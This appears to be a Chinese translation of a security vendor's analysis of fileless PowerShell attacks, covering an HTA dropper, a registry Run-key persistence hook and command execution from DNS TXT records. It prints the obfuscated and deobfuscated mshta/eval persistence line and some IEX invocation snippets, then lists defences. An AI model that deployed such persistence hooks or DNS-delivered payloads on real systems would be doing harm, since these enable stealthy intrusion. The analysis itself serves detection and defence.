PowerShell是網(wǎng)絡(luò)安全專家、IT管理員以及黑客們最喜歡的工具之一,這一點(diǎn)是毋庸置疑的。PowerShell的可擴(kuò)展性和其強(qiáng)大的功能讓微軟操作系統(tǒng)的可控制程度上升到了一個前所未有的等級。簡單說來,Powershell 是運(yùn)行在windows機(jī)器上實(shí)現(xiàn)系統(tǒng)和應(yīng)用程序管理自動化的命令行腳本環(huán)境,而它可以算是顛覆了傳統(tǒng)的命令行提示符-cmd.exe。
在Binary Defense(一家專業(yè)從事網(wǎng)絡(luò)安全業(yè)務(wù)的公司)中有著大量PowerShell的擁護(hù)者,無論是進(jìn)行自動化測試也好,還是進(jìn)行復(fù)雜的程序分析也罷,PowerShell都是他們的首選工具。除此之外,像PowerShell Empire以及PowerSploit這樣的工具也是網(wǎng)絡(luò)安全研究領(lǐng)域以及黑客的摯愛。
攻擊分析
我們通常可以看到很多利用PowerShell的攻擊向量,而且在昨天晚上,我們的終端安全檢測與應(yīng)急響應(yīng)平臺(Vision)檢測到了一個使用了多種方法來實(shí)現(xiàn)攻擊持久化并規(guī)避傳統(tǒng)反病毒技術(shù)的攻擊事件。它所使用的第一種方法是讓目標(biāo)用戶訪問一個需要升級Adobe Flash瀏覽器插件的網(wǎng)站,而攻擊者在這里需要使用到mshta.exe(一種HTA攻擊方法),MSHTA.exe是微軟的一個合法程序,它可以在任何瀏覽器中隨時調(diào)用。但是在大多數(shù)情況下,它并不是合法的擴(kuò)展,因此我們建議用戶在配置防火墻時屏蔽所有的HTA擴(kuò)展。因?yàn)镠TA文件允許我們調(diào)用任意的命令,而攻擊者同樣可以做到這一點(diǎn),所以啟用HTA擴(kuò)展很有可能讓我們的主機(jī)遭到攻擊。
需要注意的是,這個攻擊向量在很多年前就已經(jīng)嵌入在了Unicorn和社會工程學(xué)工具套件(SET)之中了。

此時,如果系統(tǒng)彈出了提示框,而攻擊者又根據(jù)提示框中的信息進(jìn)行了操作(打開-open),那么目標(biāo)用戶將會被攻擊。攻擊向量可以是一個VBS下載器、PowerShell,或者是一段下載后自動執(zhí)行的惡意代碼。只要用戶點(diǎn)擊了“Open”,任何事情都有可能會發(fā)生。但是在我們近期所研究的攻擊案例中,攻擊者使用了HTA攻擊方法作為攻擊的初始階段和Dropper。
頁面會發(fā)起一個惡意HTA,當(dāng)用戶打開了這個HTA之后,Vision會立刻檢測到其惡意行為:

當(dāng)文件被打開之后,一段PowerShell命令將會被執(zhí)行。一般情況下攻擊者會通過PowerShell發(fā)動SYSWOW64降級攻擊,這種攻擊向量可以將進(jìn)程降級為32位進(jìn)程,并實(shí)現(xiàn)shellcode注入攻擊,而且Unicorn/SET多年以來一直都在使用這種技術(shù)。
在對具體的日志記錄進(jìn)行了分析之后我們發(fā)現(xiàn),很多攻擊者會使用Invoke-Expression(IEX)來提取出特定的注冊表鍵,并實(shí)現(xiàn)持久化鉤子。在PowerShell的初始調(diào)用中,變量名和持久化鉤子都經(jīng)過了混淆處理。大致如下圖所示:

在這種攻擊中,注冊表入口位于CurrentVersion\Run,而這里也是持久化鉤子的起始位置。
日志信息如下:
混淆后的持久化注冊表鉤子:
HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run
"C:\Windows\system32\mshta.exe" "about:c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software
\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";"
反混淆后的持久化注冊表鉤子:
WScript_Shell_Object = new ActiveXObject("WScript.Shell");
Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");
eval(Registry_Key_Value);
這種就是我們所稱之為的無文件攻擊向量,因?yàn)樗恍枰蛴脖P寫入任何內(nèi)容,它唯一需要的就是注冊表鍵,并通過運(yùn)行注冊表鍵來在目標(biāo)系統(tǒng)中實(shí)現(xiàn)持久化注入。在我們的攻擊場景中,mshta.exe將利用嵌入了PowerShell指令的WScript.shell來調(diào)用特定的注冊表鍵,而且傳統(tǒng)的反病毒產(chǎn)品以及目前絕大多數(shù)安全解決方案都無法檢測到這種無文件的持久化攻擊。
利用原生的PowerShell以及mshta,攻擊者將可以通過傳統(tǒng)的感染技術(shù)來實(shí)現(xiàn)系統(tǒng)入侵,而且完全不需要下載額外的惡意代碼或安插系統(tǒng)后門。在此過程中,大多數(shù)攻擊者會選擇使用Invoke-Expression,但是具體的攻擊實(shí)現(xiàn)方法也是多種多樣的。近期,安全研究專家Vincent Yiu(@vysecurity)演示了一種無需調(diào)用IEX和ExcodedCommand就可以繞過傳統(tǒng)檢測技術(shù)的攻擊方法,而且目前很多高級攻擊者也在廣泛使用這種技術(shù)。有關(guān)這項(xiàng)技術(shù)的更多詳細(xì)內(nèi)容請參考Vincent Yiu的Twitter:

在這個例子中,網(wǎng)站的TXT記錄將會下載PowerShell命令,并通過nslookup在系統(tǒng)中執(zhí)行這些命令。這也就意味著,我們可以將命令注入在DNS的TXT記錄中,然后讓系統(tǒng)自動執(zhí)行這些PowerShell命令。Vision所檢測到的一種惡意行為模式如下:

如果檢測到了nslookup或者代碼提取行為,那么Vision將能夠迅速識別出PowerShell代碼中的nslookup請求以及TXT記錄中的惡意代碼。需要注意的是,Vencent Yiu所提供的方法只能執(zhí)行一個文件而無法執(zhí)行代碼本身,因此我們還需要其他的命令從nslookup TXT記錄中提取出代碼并執(zhí)行它們。
安全研究專家Daniel Bohannon給出了一種不同的實(shí)現(xiàn)方法,但這種方法仍然需要用到IEX。演示樣例如下:
$nslookupResult1 = 'iex'
$nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
. $nslookupResult1 $nslookupResult2
or even better:
$nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
. $nslookupAllInOne[0] $nslookupAllInOne[1]
下圖為Vision所識別出的一種特定攻擊模式:

應(yīng)對方案
對于那些沒有使用Vision代碼防御平臺的企業(yè)來說,可以采用以下幾種實(shí)踐方法來防止攻擊者利用PowerShell攻擊企業(yè)的網(wǎng)絡(luò)系統(tǒng):
限制PowerShell命令的字符長度;
限制PowerShell的語言模式;
啟用增強(qiáng)型PowerShell;(參考資料);
定期執(zhí)行威脅檢測以盡早識別出可疑活動;
審查DNS日志并尋找可疑的控制命令和DNS請求;
搜索可疑的System.Management.Automation.dll以及System.Management.Automation.ni.dll
利用類似Sysmon這樣的工具來檢測和記錄可疑進(jìn)程;
在正常情況下禁止普通用戶執(zhí)行PowerShell命令(AppLocker +Device Guard可以防止普通用戶使用PowerShell);
監(jiān)控powershell.exe的子進(jìn)程以及可能存在的鉤子;
搜索powershell.exe派生出的32位PowerShell子進(jìn)程,這也是一種shellcode注入技術(shù)的典型檢測方法;
更多內(nèi)容請參考Matthew Graeber的Twitter;

總結(jié)
由于安全研究人員和網(wǎng)絡(luò)攻擊者會遇到越來越先進(jìn)的PowerShell以及相應(yīng)的檢測繞過技術(shù),那些基于模式識別的傳統(tǒng)檢測方法已經(jīng)不能再僅僅依靠惡意PowerShell來完成檢測了,而且隨著代碼混淆技術(shù)的不斷發(fā)展,安全防御人員的工作更是難上加難。因此,我們只有盡早地識別出可疑的行為模式,才能夠降低個人用戶和企業(yè)用戶受到攻擊的可能性。
|